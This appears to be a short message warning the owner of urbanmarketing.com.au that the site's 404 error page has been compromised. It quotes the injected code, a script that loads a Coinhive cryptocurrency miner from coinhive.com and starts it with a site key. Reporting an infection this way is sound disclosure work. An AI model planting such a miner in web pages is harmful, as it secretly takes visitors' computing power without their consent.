I accessed your website through one of the URLs mentioned;
http://www.urbanmarketing.com.au/case/images/quicksilver_front.jpg
and although I got 404 - not found for this file, the web content for the error page
DID Contain some suspicious file. When looking into this file there were several
indications that this was indeed suspect;
It _was_ JS (javascript) and _did_ contain references to "coinhive.com"
It looks like your'e infected.
Here's a code snippet; (from your web page/site)
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('OYVj9VafS1hMApLflmS9CmX0pkxg9wKN', 'urbanmarketing.com.au');
miner.start();